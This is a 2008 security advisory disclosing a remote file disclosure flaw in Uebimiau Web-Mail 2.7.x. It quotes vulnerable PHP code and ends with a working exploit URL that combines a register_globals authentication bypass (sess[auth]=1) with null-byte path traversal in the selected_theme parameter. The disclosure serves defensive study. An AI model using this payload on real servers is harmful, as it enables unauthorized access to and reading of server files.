Uebimiau Web-Mail 2.7.10-2.7.2 Remote File Disclosure Vulnerability

2008-01-06 00:00:00

----[ Uebimiau Web-Mail Remote File Reader ... ITDefence.ru Antichat.ru ]

Uebimiau Web-Mail Remote File Reader
Eugene Minaev [email protected]
___________________________________________________________________
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/ .\ / /_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ //\
\ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
\ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\________[________________________________________]_________//_//_/ . .


At first i decided to look login script . Each script includes this code

<?php
if(strlen($f_pass) > 0) {

..elseif (
($sess["auth"] && intval((time()-$start)/60) < $idle_timeout)) {

$UM->mail_user = $f_user = $sess["user"];
$UM->mail_pass = $f_pass = $sess["pass"];
$UM->mail_server = $f_server = $sess["server"];
$UM->mail_email = $f_email = $sess["email"];

} else {
Header("Location: ./index.php?tid=$tid&lid=$lid\r\n");
exit;
}
?>

So , if register_globals on , we can make a request like script.php?f_pass=+toxa+&sess[auth]=1
to make script think that we are authorized user . Then i looked each script to find something
interest.

<?php
define("SMARTY_DIR","./smarty/");
require_once(SMARTY_DIR."Smarty.class.php");
$smarty = new Smarty;
$smarty->compile_dir = $temporary_directory;
$smarty->security=true;
$smarty->secure_dir=array("./");
$smarty->assign("umLanguageFile",$selected_language.".txt");
?>

Looks great :) But selected_language was already defined . But there was a similar code with EXTRACT.
So , we can read local files on server !

<?php
if($phpver >= 4.1) {
extract($_GET);
}

$smarty->assign("umSid",$sid);
$smarty->assign("umLid",$lid);
$smarty->assign("umTid",$tid);

$smarty->assign("umErrorCode",$err);

$smarty->display("$selected_theme/error.htm");
?>

http://test1.ru/uebimiau/error.php?f_pass=blackybr&sess[auth]=1&selected_theme=../ksuri.php%00




----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

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